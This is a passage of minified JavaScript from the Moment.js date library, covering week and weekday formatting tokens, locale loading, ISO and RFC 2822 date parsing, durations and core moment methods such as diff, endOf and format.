r<1?s=r+N(i=e.year()-1,t,n):r>N(e.year(),t,n)?(s=r-N(e.year(),t,n),i=e.year()+1):(i=e.year(),s=r),{week:s,year:i}}function N(e,t,n){var s=qe(e,t,n),t=qe(e+1,t,n);return(We(e)-s+t)/7}s("w",["ww",2],"wo","week"),s("W",["WW",2],"Wo","isoWeek"),h("w",n,u),h("ww",n,t),h("W",n,u),h("WW",n,t),Oe(["w","ww","W","WW"],function(e,t,n,s){t[s.substr(0,1)]=M(e)});function Je(e,t){return e.slice(t,7).concat(e.slice(0,t))}s("d",0,"do","day"),s("dd",0,0,function(e){return this.localeData().weekdaysMin(this,e)}),s("ddd",0,0,function(e){return this.localeData().weekdaysShort(this,e)}),s("dddd",0,0,function(e){return this.localeData().weekdays(this,e)}),s("e",0,0,"weekday"),s("E",0,0,"isoWeekday"),h("d",n),h("e",n),h("E",n),h("dd",function(e,t){return t.weekdaysMinRegex(e)}),h("ddd",function(e,t){return t.weekdaysShortRegex(e)}),h("dddd",function(e,t){return t.weekdaysRegex(e)}),Oe(["dd","ddd","dddd"],function(e,t,n,s){s=n._locale.weekdaysParse(e,s,n._strict);null!=s?t.d=s:p(n).invalidWeekday=e}),Oe(["d","e","E"],function(e,t,n,s){t[s]=M(e)});var Qe="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Xe="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Ke="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),et=i,tt=i,nt=i;function st(){function e(e,t){return t.length-e.length}for(var t,n,s,i=[],r=[],a=[],o=[],u=0;u<7;u++)s=l([2e3,1]).day(u),t=f(this.weekdaysMin(s,"")),n=f(this.weekdaysShort(s,"")),s=f(this.weekdays(s,"")),i.push(t),r.push(n),a.push(s),o.push(t),o.push(n),o.push(s);i.sort(e),r.sort(e),a.sort(e),o.sort(e),this._weekdaysRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+a.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+r.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+i.join("|")+")","i")}function it(){return this.hours()%12||12}function rt(e,t){s(e,0,0,function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)})}function at(e,t){return t._meridiemParse}s("H",["HH",2],0,"hour"),s("h",["hh",2],0,it),s("k",["kk",2],0,function(){return this.hours()||24}),s("hmm",0,0,function(){return""+it.apply(this)+r(this.minutes(),2)}),s("hmmss",0,0,function(){return""+it.apply(this)+r(this.minutes(),2)+r(this.seconds(),2)}),s("Hmm",0,0,function(){return""+this.hours()+r(this.minutes(),2)}),s("Hmmss",0,0,function(){return""+this.hours()+r(this.minutes(),2)+r(this.seconds(),2)}),rt("a",!0),rt("A",!1),h("a",at),h("A",at),h("H",n,d),h("h",n,u),h("k",n,u),h("HH",n,t),h("hh",n,t),h("kk",n,t),h("hmm",me),h("hmmss",_e),h("Hmm",me),h("Hmmss",_e),v(["H","HH"],O),v(["k","kk"],function(e,t,n){e=M(e);t[O]=24===e?0:e}),v(["a","A"],function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e}),v(["h","hh"],function(e,t,n){t[O]=M(e),p(n).bigHour=!0}),v("hmm",function(e,t,n){var s=e.length-2;t[O]=M(e.substr(0,s)),t[b]=M(e.substr(s)),p(n).bigHour=!0}),v("hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[O]=M(e.substr(0,s)),t[b]=M(e.substr(s,2)),t[T]=M(e.substr(i)),p(n).bigHour=!0}),v("Hmm",function(e,t,n){var s=e.length-2;t[O]=M(e.substr(0,s)),t[b]=M(e.substr(s))}),v("Hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[O]=M(e.substr(0,s)),t[b]=M(e.substr(s,2)),t[T]=M(e.substr(i))});i=Re("Hours",!0);var ot,ut={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",w:"a week",ww:"%d weeks",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Fe,monthsShort:Le,week:{dow:0,doy:6},weekdays:Qe,weekdaysMin:Ke,weekdaysShort:Xe,meridiemParse:/[ap]\.?m?\.?/i},W={},lt={};function dt(e){return e&&e.toLowerCase().replace("_","-")}function ht(e){for(var t,n,s,i,r=0;r<e.length;){for(t=(i=dt(e[r]).split("-")).length,n=(n=dt(e[r+1]))?n.split("-"):null;0<t;){if(s=ct(i.slice(0,t).join("-")))return s;if(n&&n.length>=t&&function(e,t){for(var n=Math.min(e.length,t.length),s=0;s<n;s+=1)if(e[s]!==t[s])return s;return n}(i,n)>=t-1)break;t--}r++}return ot}function ct(t){var e,n;if(void 0===W[t]&&"undefined"!=typeof module&&module&&module.exports&&(n=t)&&n.match("^[^/\\\\]*$"))try{e=ot._abbr,require("./locale/"+t),ft(e)}catch(e){W[t]=null}return W[t]}function ft(e,t){return e&&((t=g(t)?P(e):mt(e,t))?ot=t:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+e+" not found. Did you forget to load it?")),ot._abbr}function mt(e,t){if(null===t)return delete W[e],null;var n,s=ut;if(t.abbr=e,null!=W[e])Q("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),s=W[e]._config;else if(null!=t.parentLocale)if(null!=W[t.parentLocale])s=W[t.parentLocale]._config;else{if(null==(n=ct(t.parentLocale)))return lt[t.parentLocale]||(lt[t.parentLocale]=[]),lt[t.parentLocale].push({name:e,config:t}),null;s=n._config}return W[e]=new K(X(s,t)),lt[e]&&lt[e].forEach(function(e){mt(e.name,e.config)}),ft(e),W[e]}function P(e){var t;if(!(e=e&&e._locale&&e._locale._abbr?e._locale._abbr:e))return ot;if(!y(e)){if(t=ct(e))return t;e=[e]}return ht(e)}function _t(e){var t=e._a;return t&&-2===p(e).overflow&&(t=t[Y]<0||11<t[Y]?Y:t[S]<1||t[S]>He(t[D],t[Y])?S:t[O]<0||24<t[O]||24===t[O]&&(0!==t[b]||0!==t[T]||0!==t[Te])?O:t[b]<0||59<t[b]?b:t[T]<0||59<t[T]?T:t[Te]<0||999<t[Te]?Te:-1,p(e)._overflowDayOfYear&&(t<D||S<t)&&(t=S),p(e)._overflowWeeks&&-1===t&&(t=xe),p(e)._overflowWeekday&&-1===t&&(t=Ne),p(e).overflow=t),e}var yt=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,gt=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,wt=/Z|[+-]\d\d(?::?\d\d)?/,pt=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],kt=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],Mt=/^\/?Date\((-?\d+)/i,vt=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,Dt={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function Yt(e){var t,n,s,i,r,a,o=e._i,u=yt.exec(o)||gt.exec(o),o=pt.length,l=kt.length;if(u){for(p(e).iso=!0,t=0,n=o;t<n;t++)if(pt[t][1].exec(u[1])){i=pt[t][0],s=!1!==pt[t][2];break}if(null==i)e._isValid=!1;else{if(u[3]){for(t=0,n=l;t<n;t++)if(kt[t][1].exec(u[3])){r=(u[2]||" ")+kt[t][0];break}if(null==r)return void(e._isValid=!1)}if(s||null==r){if(u[4]){if(!wt.exec(u[4]))return void(e._isValid=!1);a="Z"}e._f=i+(r||"")+(a||""),xt(e)}else e._isValid=!1}}else e._isValid=!1}function St(e,t,n,s,i,r){e=[function(e){e=parseInt(e,10);{if(e<=49)return 2e3+e;if(e<=999)return 1900+e}return e}(e),Le.indexOf(t),parseInt(n,10),parseInt(s,10),parseInt(i,10)];return r&&e.push(parseInt(r,10)),e}function Ot(e){var t,n,s=vt.exec(e._i.replace(/\([^()]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,""));s?(t=St(s[4],s[3],s[2],s[5],s[6],s[7]),function(e,t,n){if(!e||Xe.indexOf(e)===new Date(t[0],t[1],t[2]).getDay())return 1;p(n).weekdayMismatch=!0,n._isValid=!1}(s[1],t,e)&&(e._a=t,e._tzm=(t=s[8],n=s[9],s=s[10],t?Dt[t]:n?0:60*(((t=parseInt(s,10))-(n=t%100))/100)+n),e._d=ze.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),p(e).rfc2822=!0)):e._isValid=!1}function bt(e,t,n){return null!=e?e:null!=t?t:n}function Tt(e){var t,n,s,i,r,a,o,u,l,d,h,c=[];if(!e._d){for(s=e,i=new Date(_.now()),n=s._useUTC?[i.getUTCFullYear(),i.getUTCMonth(),i.getUTCDate()]:[i.getFullYear(),i.getMonth(),i.getDate()],e._w&&null==e._a[S]&&null==e._a[Y]&&(null!=(i=(s=e)._w).GG||null!=i.W||null!=i.E?(u=1,l=4,r=bt(i.GG,s._a[D],Be(R(),1,4).year),a=bt(i.W,1),((o=bt(i.E,1))<1||7<o)&&(d=!0)):(u=s._locale._week.dow,l=s._locale._week.doy,h=Be(R(),u,l),r=bt(i.gg,s._a[D],h.year),a=bt(i.w,h.week),null!=i.d?((o=i.d)<0||6<o)&&(d=!0):null!=i.e?(o=i.e+u,(i.e<0||6<i.e)&&(d=!0)):o=u),a<1||a>N(r,u,l)?p(s)._overflowWeeks=!0:null!=d?p(s)._overflowWeekday=!0:(h=$e(r,a,o,u,l),s._a[D]=h.year,s._dayOfYear=h.dayOfYear)),null!=e._dayOfYear&&(i=bt(e._a[D],n[D]),(e._dayOfYear>We(i)||0===e._dayOfYear)&&(p(e)._overflowDayOfYear=!0),d=ze(i,0,e._dayOfYear),e._a[Y]=d.getUTCMonth(),e._a[S]=d.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=c[t]=n[t];for(;t<7;t++)e._a[t]=c[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[O]&&0===e._a[b]&&0===e._a[T]&&0===e._a[Te]&&(e._nextDay=!0,e._a[O]=0),e._d=(e._useUTC?ze:Ze).apply(null,c),r=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[O]=24),e._w&&void 0!==e._w.d&&e._w.d!==r&&(p(e).weekdayMismatch=!0)}}function xt(e){if(e._f===_.ISO_8601)Yt(e);else if(e._f===_.RFC_2822)Ot(e);else{e._a=[],p(e).empty=!0;for(var t,n,s,i,r,a=""+e._i,o=a.length,u=0,l=ae(e._f,e._locale).match(te)||[],d=l.length,h=0;h<d;h++)n=l[h],(t=(a.match(De(n,e))||[])[0])&&(0<(s=a.substr(0,a.indexOf(t))).length&&p(e).unusedInput.push(s),a=a.slice(a.indexOf(t)+t.length),u+=t.length),ie[n]?(t?p(e).empty=!1:p(e).unusedTokens.push(n),s=n,r=e,null!=(i=t)&&c(Se,s)&&Se[s](i,r._a,r,s)):e._strict&&!t&&p(e).unusedTokens.push(n);p(e).charsLeftOver=o-u,0<a.length&&p(e).unusedInput.push(a),e._a[O]<=12&&!0===p(e).bigHour&&0<e._a[O]&&(p(e).bigHour=void 0),p(e).parsedDateParts=e._a.slice(0),p(e).meridiem=e._meridiem,e._a[O]=function(e,t,n){if(null==n)return t;return null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((e=e.isPM(n))&&t<12&&(t+=12),t=e||12!==t?t:0):t}(e._locale,e._a[O],e._meridiem),null!==(o=p(e).era)&&(e._a[D]=e._locale.erasConvertYear(o,e._a[D])),Tt(e),_t(e)}}function Nt(e){var t,n,s,i=e._i,r=e._f;if(e._locale=e._locale||P(e._l),null===i||void 0===r&&""===i)return I({nullInput:!0});if("string"==typeof i&&(e._i=i=e._locale.preparse(i)),k(i))return new $(_t(i));if(V(i))e._d=i;else if(y(r)){var a,o,u,l,d,h,c=e,f=!1,m=c._f.length;if(0===m)p(c).invalidFormat=!0,c._d=new Date(NaN);else{for(l=0;l<m;l++)d=0,h=!1,a=q({},c),null!=c._useUTC&&(a._useUTC=c._useUTC),a._f=c._f[l],xt(a),A(a)&&(h=!0),d=(d+=p(a).charsLeftOver)+10*p(a).unusedTokens.length,p(a).score=d,f?d<u&&(u=d,o=a):(null==u||d<u||h)&&(u=d,o=a,h)&&(f=!0);E(c,o||a)}}else if(r)xt(e);else if(g(r=(i=e)._i))i._d=new Date(_.now());else V(r)?i._d=new Date(r.valueOf()):"string"==typeof r?(n=i,null!==(t=Mt.exec(n._i))?n._d=new Date(+t[1]):(Yt(n),!1===n._isValid&&(delete n._isValid,Ot(n),!1===n._isValid)&&(delete n._isValid,n._strict?n._isValid=!1:_.createFromInputFallback(n)))):y(r)?(i._a=G(r.slice(0),function(e){return parseInt(e,10)}),Tt(i)):F(r)?(t=i)._d||(s=void 0===(n=ue(t._i)).day?n.date:n.day,t._a=G([n.year,n.month,s,n.hour,n.minute,n.second,n.millisecond],function(e){return e&&parseInt(e,10)}),Tt(t)):w(r)?i._d=new Date(r):_.createFromInputFallback(i);return A(e)||(e._d=null),e}function Wt(e,t,n,s,i){var r={};return!0!==t&&!1!==t||(s=t,t=void 0),!0!==n&&!1!==n||(s=n,n=void 0),(F(e)&&L(e)||y(e)&&0===e.length)&&(e=void 0),r._isAMomentObject=!0,r._useUTC=r._isUTC=i,r._l=n,r._i=e,r._f=t,r._strict=s,(i=new $(_t(Nt(i=r))))._nextDay&&(i.add(1,"d"),i._nextDay=void 0),i}function R(e,t,n,s){return Wt(e,t,n,s,!1)}_.createFromInputFallback=e("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))}),_.ISO_8601=function(){},_.RFC_2822=function(){};me=e("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=R.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:I()}),_e=e("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=R.apply(null,arguments);return this.isValid()&&e.isValid()?this<e?this:e:I()});function Pt(e,t){var n,s;if(!(t=1===t.length&&y(t[0])?t[0]:t).length)return R();for(n=t[0],s=1;s<t.length;++s)t[s].isValid()&&!t[s][e](n)||(n=t[s]);return n}var Rt=["year","quarter","month","week","day","hour","minute","second","millisecond"];function Ct(e){var e=ue(e),t=e.year||0,n=e.quarter||0,s=e.month||0,i=e.week||e.isoWeek||0,r=e.day||0,a=e.hour||0,o=e.minute||0,u=e.second||0,l=e.millisecond||0;this._isValid=function(e){var t,n,s=!1,i=Rt.length;for(t in e)if(c(e,t)&&(-1===x.call(Rt,t)||null!=e[t]&&isNaN(e[t])))return!1;for(n=0;n<i;++n)if(e[Rt[n]]){if(s)return!1;parseFloat(e[Rt[n]])!==M(e[Rt[n]])&&(s=!0)}return!0}(e),this._milliseconds=+l+1e3*u+6e4*o+1e3*a*60*60,this._days=+r+7*i,this._months=+s+3*n+12*t,this._data={},this._locale=P(),this._bubble()}function Ut(e){return e instanceof Ct}function Ht(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function Ft(e,n){s(e,0,0,function(){var e=this.utcOffset(),t="+";return e<0&&(e=-e,t="-"),t+r(~~(e/60),2)+n+r(~~e%60,2)})}Ft("Z",":"),Ft("ZZ",""),h("Z",ve),h("ZZ",ve),v(["Z","ZZ"],function(e,t,n){n._useUTC=!0,n._tzm=Vt(ve,e)});var Lt=/([\+\-]|\d\d)/gi;function Vt(e,t){var t=(t||"").match(e);return null===t?null:0===(t=60*(e=((t[t.length-1]||[])+"").match(Lt)||["-",0,0])[1]+M(e[2]))?0:"+"===e[0]?t:-t}function Gt(e,t){var n;return t._isUTC?(t=t.clone(),n=(k(e)||V(e)?e:R(e)).valueOf()-t.valueOf(),t._d.setTime(t._d.valueOf()+n),_.updateOffset(t,!1),t):R(e).local()}function Et(e){return-Math.round(e._d.getTimezoneOffset())}function At(){return!!this.isValid()&&this._isUTC&&0===this._offset}_.updateOffset=function(){};var It=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,jt=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function C(e,t){var n,s=e;return Ut(e)?s={ms:e._milliseconds,d:e._days,M:e._months}:w(e)||!isNaN(+e)?(s={},t?s[t]=+e:s.milliseconds=+e):(t=It.exec(e))?(n="-"===t[1]?-1:1,s={y:0,d:M(t[S])*n,h:M(t[O])*n,m:M(t[b])*n,s:M(t[T])*n,ms:M(Ht(1e3*t[Te]))*n}):(t=jt.exec(e))?(n="-"===t[1]?-1:1,s={y:Zt(t[2],n),M:Zt(t[3],n),w:Zt(t[4],n),d:Zt(t[5],n),h:Zt(t[6],n),m:Zt(t[7],n),s:Zt(t[8],n)}):null==s?s={}:"object"==typeof s&&("from"in s||"to"in s)&&(t=function(e,t){var n;if(!e.isValid()||!t.isValid())return{milliseconds:0,months:0};t=Gt(t,e),e.isBefore(t)?n=zt(e,t):((n=zt(t,e)).milliseconds=-n.milliseconds,n.months=-n.months);return n}(R(s.from),R(s.to)),(s={}).ms=t.milliseconds,s.M=t.months),n=new Ct(s),Ut(e)&&c(e,"_locale")&&(n._locale=e._locale),Ut(e)&&c(e,"_isValid")&&(n._isValid=e._isValid),n}function Zt(e,t){e=e&&parseFloat(e.replace(",","."));return(isNaN(e)?0:e)*t}function zt(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function qt(s,i){return function(e,t){var n;return null===t||isNaN(+t)||(Q(i,"moment()."+i+"(period, number) is deprecated. Please use moment()."+i+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),n=e,e=t,t=n),$t(this,C(e,t),s),this}}function $t(e,t,n,s){var i=t._milliseconds,r=Ht(t._days),t=Ht(t._months);e.isValid()&&(s=null==s||s,t&&Ae(e,Ce(e,"Month")+t*n),r&&Ue(e,"Date",Ce(e,"Date")+r*n),i&&e._d.setTime(e._d.valueOf()+i*n),s)&&_.updateOffset(e,r||t)}C.fn=Ct.prototype,C.invalid=function(){return C(NaN)};Fe=qt(1,"add"),Qe=qt(-1,"subtract");function Bt(e){return"string"==typeof e||e instanceof String}function Jt(e){return k(e)||V(e)||Bt(e)||w(e)||function(t){var e=y(t),n=!1;e&&(n=0===t.filter(function(e){return!w(e)&&Bt(t)}).length);return e&&n}(e)||function(e){var t,n,s=F(e)&&!L(e),i=!1,r=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"],a=r.length;for(t=0;t<a;t+=1)n=r[t],i=i||c(e,n);return s&&i}(e)||null==e}function Qt(e,t){var n,s;return e.date()<t.date()?-Qt(t,e):-((n=12*(t.year()-e.year())+(t.month()-e.month()))+(t-(s=e.clone().add(n,"months"))<0?(t-s)/(s-e.clone().add(n-1,"months")):(t-s)/(e.clone().add(1+n,"months")-s)))||0}function Xt(e){return void 0===e?this._locale._abbr:(null!=(e=P(e))&&(this._locale=e),this)}_.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",_.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";Ke=e("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",function(e){return void 0===e?this.localeData():this.locale(e)});function Kt(){return this._locale}var en=126227808e5;function tn(e,t){return(e%t+t)%t}function nn(e,t,n){return e<100&&0<=e?new Date(e+400,t,n)-en:new Date(e,t,n).valueOf()}function sn(e,t,n){return e<100&&0<=e?Date.UTC(e+400,t,n)-en:Date.UTC(e,t,n)}function rn(e,t){return t.erasAbbrRegex(e)}function an(){for(var e,t,n,s=[],i=[],r=[],a=[],o=this.eras(),u=0,l=o.length;u<l;++u)e=f(o[u].name),t=f(o[u].abbr),n=f(o[u].narrow),i.push(e),s.push(t),r.push(n),a.push(e),a.push(t),a.push(n);this._erasRegex=new RegExp("^("+a.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+i.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+s.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+r.join("|")+")","i")}function on(e,t){s(0,[e,e.length],0,t)}function un(e,t,n,s,i){var r;return null==e?Be(this,s,i).year:(r=N(e,s,i),function(e,t,n,s,i){e=$e(e,t,n,s,i),t=ze(e.year,0,e.dayOfYear);return this.year(t.getUTCFullYear()),this.month(t.getUTCMonth()),this.date(t.getUTCDate()),this}.call(this,e,t=r<t?r:t,n,s,i))}s("N",0,0,"eraAbbr"),s("NN",0,0,"eraAbbr"),s("NNN",0,0,"eraAbbr"),s("NNNN",0,0,"eraName"),s("NNNNN",0,0,"eraNarrow"),s("y",["y",1],"yo","eraYear"),s("y",["yy",2],0,"eraYear"),s("y",["yyy",3],0,"eraYear"),s("y",["yyyy",4],0,"eraYear"),h("N",rn),h("NN",rn),h("NNN",rn),h("NNNN",function(e,t){return t.erasNameRegex(e)}),h("NNNNN",function(e,t){return t.erasNarrowRegex(e)}),v(["N","NN","NNN","NNNN","NNNNN"],function(e,t,n,s){s=n._locale.erasParse(e,s,n._strict);s?p(n).era=s:p(n).invalidEra=e}),h("y",pe),h("yy",pe),h("yyy",pe),h("yyyy",pe),h("yo",function(e,t){return t._eraYearOrdinalRegex||pe}),v(["y","yy","yyy","yyyy"],D),v(["yo"],function(e,t,n,s){var i;n._locale._eraYearOrdinalRegex&&(i=e.match(n._locale._eraYearOrdinalRegex)),n._locale.eraYearOrdinalParse?t[D]=n._locale.eraYearOrdinalParse(e,i):t[D]=parseInt(e,10)}),s(0,["gg",2],0,function(){return this.weekYear()%100}),s(0,["GG",2],0,function(){return this.isoWeekYear()%100}),on("gggg","weekYear"),on("ggggg","weekYear"),on("GGGG","isoWeekYear"),on("GGGGG","isoWeekYear"),h("G",ke),h("g",ke),h("GG",n,t),h("gg",n,t),h("GGGG",ge,ce),h("gggg",ge,ce),h("GGGGG",we,fe),h("ggggg",we,fe),Oe(["gggg","ggggg","GGGG","GGGGG"],function(e,t,n,s){t[s.substr(0,2)]=M(e)}),Oe(["gg","GG"],function(e,t,n,s){t[s]=_.parseTwoDigitYear(e)}),s("Q",0,"Qo","quarter"),h("Q",de),v("Q",function(e,t){t[Y]=3*(M(e)-1)}),s("D",["DD",2],"Do","date"),h("D",n,u),h("DD",n,t),h("Do",function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient}),v(["D","DD"],S),v("Do",function(e,t){t[S]=M(e.match(n)[0])});ge=Re("Date",!0);s("DDD",["DDDD",3],"DDDo","dayOfYear"),h("DDD",ye),h("DDDD",he),v(["DDD","DDDD"],function(e,t,n){n._dayOfYear=M(e)}),s("m",["mm",2],0,"minute"),h("m",n,d),h("mm",n,t),v(["m","mm"],b);var ln,ce=Re("Minutes",!1),we=(s("s",["ss",2],0,"second"),h("s",n,d),h("ss",n,t),v(["s","ss"],T),Re("Seconds",!1));for(s("S",0,0,function(){return~~(this.millisecond()/100)}),s(0,["SS",2],0,function(){return~~(this.millisecond()/10)}),s(0,["SSS",3],0,"millisecond"),s(0,["SSSS",4],0,function(){return 10*this.millisecond()}),s(0,["SSSSS",5],0,function(){return 100*this.millisecond()}),s(0,["SSSSSS",6],0,function(){return 1e3*this.millisecond()}),s(0,["SSSSSSS",7],0,function(){return 1e4*this.millisecond()}),s(0,["SSSSSSSS",8],0,function(){return 1e5*this.millisecond()}),s(0,["SSSSSSSSS",9],0,function(){return 1e6*this.millisecond()}),h("S",ye,de),h("SS",ye,t),h("SSS",ye,he),ln="SSSS";ln.length<=9;ln+="S")h(ln,pe);function dn(e,t){t[Te]=M(1e3*("0."+e))}for(ln="S";ln.length<=9;ln+="S")v(ln,dn);fe=Re("Milliseconds",!1),s("z",0,0,"zoneAbbr"),s("zz",0,0,"zoneName");u=$.prototype;function hn(e){return e}u.add=Fe,u.calendar=function(e,t){1===arguments.length&&(arguments[0]?Jt(arguments[0])?(e=arguments[0],t=void 0):function(e){for(var t=F(e)&&!L(e),n=!1,s=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"],i=0;i<s.length;i+=1)n=n||c(e,s[i]);return t&&n}(arguments[0])&&(t=arguments[0],e=void 0):t=e=void 0);var e=e||R(),n=Gt(e,this).startOf("day"),n=_.calendarFormat(this,n)||"sameElse",t=t&&(a(t[n])?t[n].call(this,e):t[n]);return this.format(t||this.localeData().calendar(n,this,R(e)))},u.clone=function(){return new $(this)},u.diff=function(e,t,n){var s,i,r;if(!this.isValid())return NaN;if(!(s=Gt(e,this)).isValid())return NaN;switch(i=6e4*(s.utcOffset()-this.utcOffset()),t=o(t)){case"year":r=Qt(this,s)/12;break;case"month":r=Qt(this,s);break;case"quarter":r=Qt(this,s)/3;break;case"second":r=(this-s)/1e3;break;case"minute":r=(this-s)/6e4;break;case"hour":r=(this-s)/36e5;break;case"day":r=(this-s-i)/864e5;break;case"week":r=(this-s-i)/6048e5;break;default:r=this-s}return n?r:m(r)},u.endOf=function(e){var t,n;if(void 0!==(e=o(e))&&"millisecond"!==e&&this.isValid()){switch(n=this._isUTC?sn:nn,e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=36e5-tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5)-1;break;case"minute":t=this._d.valueOf(),t+=6e4-tn(t,6e4)-1;break;case"second":t=this._d.valueOf(),t+=1e3-tn(t,1e3)-1}this._d.setTime(t),_.updateOffset(this,!0)}return this},u.format=function(e){return e=e||(this.isUtc()?_.defaultFormatUtc:_.defaultFormat),e=re(this,e),this.localeData().postformat(e)},u.from=function(e,t){return this.isValid()&&(k(e)&&e.isValid()||R(e).isValid())?C({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},u.fromNow=function(e){return this.from(R(),e)},u.to=function(e,t){return this.isValid()&&(k(e)&&e.isValid()||R(e).isValid())?C({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},u.toNow=function(e){return this.to(R(),e)},u.get=function(e){return a(this[e=o(e)])?this[e]():this},u.invalidAt=function(){return p(this).overflow},u.isAfter=function(e,t){return 